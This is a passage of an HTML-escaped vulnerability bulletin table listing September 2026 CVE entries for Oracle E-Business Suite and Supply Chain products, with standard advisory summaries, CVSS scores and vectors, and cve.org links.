&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87154&quot; target=&quot;_blank&quot;&gt;CVE-2026-87154&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Hub&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub. Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87155&quot; target=&quot;_blank&quot;&gt;CVE-2026-87155&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Hub&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Product Hub. Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83440&quot; target=&quot;_blank&quot;&gt;CVE-2026-83440&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Hub&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Product Hub. Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83442&quot; target=&quot;_blank&quot;&gt;CVE-2026-83442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Hub&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Item Catalog). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub. While the vulnerability is in Oracle Product Hub, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Product Hub accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83485&quot; target=&quot;_blank&quot;&gt;CVE-2026-83485&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Hub&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Item Catalog). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub. While the vulnerability is in Oracle Product Hub, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Product Hub accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83486&quot; target=&quot;_blank&quot;&gt;CVE-2026-83486&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Hub&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Item Catalog). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub. While the vulnerability is in Oracle Product Hub, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Product Hub accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83487&quot; target=&quot;_blank&quot;&gt;CVE-2026-83487&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Hub&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Product Hub accessible data as well as unauthorized update, insert or delete access to some of Oracle Product Hub accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87156&quot; target=&quot;_blank&quot;&gt;CVE-2026-87156&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Lifecycle Analytics&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Lifecycle Analytics product of Oracle Supply Chain (component: Core). The supported version that is affected is 3.6.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Product Lifecycle Analytics. Successful attacks of this vulnerability can result in takeover of Oracle Product Lifecycle Analytics. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83261&quot; target=&quot;_blank&quot;&gt;CVE-2026-83261&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Lifecycle Analytics&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Lifecycle Analytics product of Oracle Supply Chain (component: Installation Issues). The supported version that is affected is 3.6.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Product Lifecycle Analytics executes to compromise Oracle Product Lifecycle Analytics. While the vulnerability is in Oracle Product Lifecycle Analytics, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Product Lifecycle Analytics accessible data as well as unauthorized access to critical data or complete access to all Oracle Product Lifecycle Analytics accessible data. CVSS 3.1 Base Score 8.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83264&quot; target=&quot;_blank&quot;&gt;CVE-2026-83264&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Lifecycle Analytics&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Lifecycle Analytics product of Oracle Supply Chain (component: Installation Issues). The supported version that is affected is 3.6.1. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Lifecycle Analytics. Successful attacks of this vulnerability can result in takeover of Oracle Product Lifecycle Analytics. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83262&quot; target=&quot;_blank&quot;&gt;CVE-2026-83262&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Lifecycle Analytics&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Lifecycle Analytics product of Oracle Supply Chain (component: Installation Issues). The supported version that is affected is 3.6.1. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Lifecycle Analytics. Successful attacks of this vulnerability can result in takeover of Oracle Product Lifecycle Analytics. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83263&quot; target=&quot;_blank&quot;&gt;CVE-2026-83263&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Workbench&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Workbench product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Workbench. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Product Workbench accessible data as well as unauthorized access to critical data or complete access to all Oracle Product Workbench accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83430&quot; target=&quot;_blank&quot;&gt;CVE-2026-83430&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Workbench&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Workbench product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Workbench. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Product Workbench accessible data as well as unauthorized access to critical data or complete access to all Oracle Product Workbench accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83434&quot; target=&quot;_blank&quot;&gt;CVE-2026-83434&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Workbench&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Workbench product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Workbench. While the vulnerability is in Oracle Product Workbench, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Product Workbench. CVSS 3.1 Base Score 8.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83451&quot; target=&quot;_blank&quot;&gt;CVE-2026-83451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Project Intelligence&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Project Intelligence product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Project Intelligence. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Project Intelligence accessible data as well as unauthorized access to critical data or complete access to all Oracle Project Intelligence accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83152&quot; target=&quot;_blank&quot;&gt;CVE-2026-83152&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Project Intelligence&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Project Intelligence product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Project Intelligence. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Project Intelligence accessible data as well as unauthorized read access to a subset of Oracle Project Intelligence accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83161&quot; target=&quot;_blank&quot;&gt;CVE-2026-83161&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Proposals&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Proposals product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Proposals. While the vulnerability is in Oracle Proposals, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Proposals accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83142&quot; target=&quot;_blank&quot;&gt;CVE-2026-83142&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Purchasing&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Other issue). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attacks of this vulnerability can result in takeover of Oracle Purchasing. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87163&quot; target=&quot;_blank&quot;&gt;CVE-2026-87163&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Purchasing&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Other issue). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Purchasing accessible data as well as unauthorized access to critical data or complete access to all Oracle Purchasing accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87166&quot; target=&quot;_blank&quot;&gt;CVE-2026-87166&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Purchasing&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: G-Invoicing). Supported versions that are affected are 12.2.11-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Purchasing accessible data as well as unauthorized access to critical data or complete access to all Oracle Purchasing accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87167&quot; target=&quot;_blank&quot;&gt;CVE-2026-87167&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Purchasing&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: G-Invoicing). Supported versions that are affected are 12.2.10-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Purchasing accessible data as well as unauthorized access to critical data or complete access to all Oracle Purchasing accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87168&quot; target=&quot;_blank&quot;&gt;CVE-2026-87168&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Purchasing&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Other issue). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Purchasing accessible data as well as unauthorized access to critical data or complete access to all Oracle Purchasing accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87265&quot; target=&quot;_blank&quot;&gt;CVE-2026-87265&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Purchasing&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: G-Invoicing). Supported versions that are affected are 12.2.10-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. While the vulnerability is in Oracle Purchasing, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Purchasing accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87127&quot; target=&quot;_blank&quot;&gt;CVE-2026-87127&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Quality&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Quality product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Quality. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Quality accessible data as well as unauthorized update, insert or delete access to some of Oracle Quality accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83113&quot; target=&quot;_blank&quot;&gt;CVE-2026-83113&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Quality&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Quality product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Quality. Successful attacks of this vulnerability can result in takeover of Oracle Quality. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83114&quot; target=&quot;_blank&quot;&gt;CVE-2026-83114&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Report Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Report Manager. Successful attacks of this vulnerability can result in takeover of Oracle Report Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83122&quot; target=&quot;_blank&quot;&gt;CVE-2026-83122&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Report Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Report Manager. Successful attacks of this vulnerability can result in takeover of Oracle Report Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83125&quot; target=&quot;_blank&quot;&gt;CVE-2026-83125&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Report Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Report Manager. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Report Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Report Manager. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83123&quot; target=&quot;_blank&quot;&gt;CVE-2026-83123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Report Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Reports Security). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Report Manager. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Report Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Report Manager. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87126&quot; target=&quot;_blank&quot;&gt;CVE-2026-87126&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Sales&lt;/td&gt;
